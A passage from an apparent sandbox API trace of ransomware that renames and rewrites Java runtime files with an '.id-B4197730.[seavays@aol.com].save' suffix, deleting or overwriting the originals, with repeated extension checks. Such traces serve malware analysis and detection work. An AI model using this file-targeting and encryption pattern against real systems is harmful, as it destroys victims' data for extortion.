(hFile=0x36c) returned 1 [0210.106] CloseHandle (hObject=0x36c) returned 1 [0210.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.107] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0210.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.107] lstrlenW (lpString=".doc") returned 4 [0210.107] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.107] lstrlenW (lpString=".docx") returned 5 [0210.108] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.108] lstrlenW (lpString=".pdf") returned 4 [0210.108] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString=".xls") returned 4 [0210.108] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString=".xlsx") returned 5 [0210.108] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.108] lstrlenW (lpString=".ppt") returned 4 [0210.108] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.108] lstrlenW (lpString=".zip") returned 4 [0210.108] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString=".rar") returned 4 [0210.108] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString=".bz2") returned 4 [0210.108] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.108] lstrlenW (lpString=".7z") returned 3 [0210.108] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString=".dbf") returned 4 [0210.109] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString=".1cd") returned 4 [0210.109] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString=".jpg") returned 4 [0210.109] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString=".doc") returned 4 [0210.109] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString=".docx") returned 5 [0210.109] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.109] lstrlenW (lpString=".pdf") returned 4 [0210.109] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString=".xls") returned 4 [0210.109] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString=".xlsx") returned 5 [0210.109] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.109] lstrlenW (lpString=".ppt") returned 4 [0210.109] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.109] lstrlenW (lpString=".zip") returned 4 [0210.109] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.110] lstrlenW (lpString=".rar") returned 4 [0210.110] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.110] lstrlenW (lpString=".bz2") returned 4 [0210.110] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.110] lstrlenW (lpString=".7z") returned 3 [0210.110] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.110] lstrlenW (lpString=".dbf") returned 4 [0210.110] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.110] lstrlenW (lpString=".1cd") returned 4 [0210.110] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0210.110] lstrlenW (lpString=".jpg") returned 4 [0210.110] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.110] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.110] lstrlenW (lpString="messages_it.properties") returned 22 [0210.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.111] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=3223) returned 1 [0210.111] CloseHandle (hObject=0x36c) returned 1 [0210.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0210.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.111] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.111] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.112] GetLastError () returned 0x0 [0210.112] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0xc97, lpOverlapped=0x0) returned 1 [0210.474] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xca0, lpOverlapped=0x0) returned 1 [0210.481] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.481] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x100, lpOverlapped=0x0) returned 1 [0210.481] SetEndOfFile (hFile=0x33c) returned 1 [0210.482] CloseHandle (hObject=0x33c) returned 1 [0210.482] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.482] SetEndOfFile (hFile=0x36c) returned 1 [0210.483] CloseHandle (hObject=0x36c) returned 1 [0210.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.483] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0210.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.484] lstrlenW (lpString=".doc") returned 4 [0210.484] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".docx") returned 5 [0210.484] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.484] lstrlenW (lpString=".pdf") returned 4 [0210.484] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".xls") returned 4 [0210.484] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".xlsx") returned 5 [0210.484] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.484] lstrlenW (lpString=".ppt") returned 4 [0210.484] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.484] lstrlenW (lpString=".zip") returned 4 [0210.484] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".rar") returned 4 [0210.484] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".bz2") returned 4 [0210.484] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString=".7z") returned 3 [0210.484] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.484] lstrlenW (lpString=".dbf") returned 4 [0210.484] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.485] lstrlenW (lpString=".1cd") returned 4 [0210.485] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.485] lstrlenW (lpString=".jpg") returned 4 [0210.485] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.485] lstrlenW (lpString=".doc") returned 4 [0210.485] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".docx") returned 5 [0210.485] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.485] lstrlenW (lpString=".pdf") returned 4 [0210.485] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".xls") returned 4 [0210.485] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".xlsx") returned 5 [0210.485] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.485] lstrlenW (lpString=".ppt") returned 4 [0210.485] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.485] lstrlenW (lpString=".zip") returned 4 [0210.485] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".rar") returned 4 [0210.485] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".bz2") returned 4 [0210.485] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.485] lstrlenW (lpString=".7z") returned 3 [0210.485] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.486] lstrlenW (lpString=".dbf") returned 4 [0210.486] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.486] lstrlenW (lpString=".1cd") returned 4 [0210.486] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0210.486] lstrlenW (lpString=".jpg") returned 4 [0210.486] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.486] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.486] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0210.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.486] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=188024) returned 1 [0210.486] CloseHandle (hObject=0x36c) returned 1 [0210.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0210.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.487] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.487] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.488] GetLastError () returned 0x0 [0210.488] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0210.492] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0210.497] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.497] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xfc, lpOverlapped=0x0) returned 1 [0210.497] SetEndOfFile (hFile=0x33c) returned 1 [0210.497] CloseHandle (hObject=0x33c) returned 1 [0210.497] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.497] SetEndOfFile (hFile=0x36c) returned 1 [0210.499] CloseHandle (hObject=0x36c) returned 1 [0210.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.499] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0210.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.500] lstrlenW (lpString=".doc") returned 4 [0210.500] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.500] lstrlenW (lpString=".docx") returned 5 [0210.500] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0210.500] lstrlenW (lpString=".pdf") returned 4 [0210.500] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.500] lstrlenW (lpString=".xls") returned 4 [0210.500] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.500] lstrlenW (lpString=".xlsx") returned 5 [0210.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0210.500] lstrlenW (lpString=".ppt") returned 4 [0210.501] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString=".zip") returned 4 [0210.501] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.501] lstrlenW (lpString=".rar") returned 4 [0210.501] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.501] lstrlenW (lpString=".bz2") returned 4 [0210.501] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.501] lstrlenW (lpString=".7z") returned 3 [0210.501] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString=".dbf") returned 4 [0210.501] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString=".1cd") returned 4 [0210.501] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString=".jpg") returned 4 [0210.501] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.501] lstrlenW (lpString=".doc") returned 4 [0210.501] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.501] lstrlenW (lpString=".docx") returned 5 [0210.501] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0210.501] lstrlenW (lpString=".pdf") returned 4 [0210.501] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.501] lstrlenW (lpString=".xls") returned 4 [0210.501] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.502] lstrlenW (lpString=".xlsx") returned 5 [0210.502] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0210.502] lstrlenW (lpString=".ppt") returned 4 [0210.502] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.502] lstrlenW (lpString=".zip") returned 4 [0210.502] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.502] lstrlenW (lpString=".rar") returned 4 [0210.502] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.502] lstrlenW (lpString=".bz2") returned 4 [0210.502] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.502] lstrlenW (lpString=".7z") returned 3 [0210.502] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.502] lstrlenW (lpString=".dbf") returned 4 [0210.502] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.502] lstrlenW (lpString=".1cd") returned 4 [0210.502] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0210.502] lstrlenW (lpString=".jpg") returned 4 [0210.502] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.502] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.502] lstrlenW (lpString="cldrdata.jar") returned 12 [0210.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.503] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=3860502) returned 1 [0210.503] CloseHandle (hObject=0x36c) returned 1 [0210.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0210.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0210.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.505] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc64 | out: lpNewFilePointer=0x0) returned 1 [0210.505] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.505] ReadFile (in: hFile=0x36c, lpBuffer=0x4018058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b6fc30, lpOverlapped=0x0 | out: lpBuffer=0x4018058*, lpNumberOfBytesRead=0x3b6fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.965] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.965] ReadFile (in: hFile=0x36c, lpBuffer=0x4058058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b6fc30, lpOverlapped=0x0 | out: lpBuffer=0x4058058*, lpNumberOfBytesRead=0x3b6fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.976] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b6fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.976] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.976] ReadFile (in: hFile=0x36c, lpBuffer=0x4098058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b6fc30, lpOverlapped=0x0 | out: lpBuffer=0x4098058*, lpNumberOfBytesRead=0x3b6fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.997] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.997] WriteFile (in: hFile=0x36c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3b6fca8, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fca8*=0xc0104, lpOverlapped=0x0) returned 1 [0211.929] SetEndOfFile (hFile=0x36c) returned 1 [0211.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x439a110 [0211.937] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc74 | out: lpNewFilePointer=0x0) returned 1 [0211.937] WriteFile (in: hFile=0x36c, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b6fc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3b6fc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.940] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, 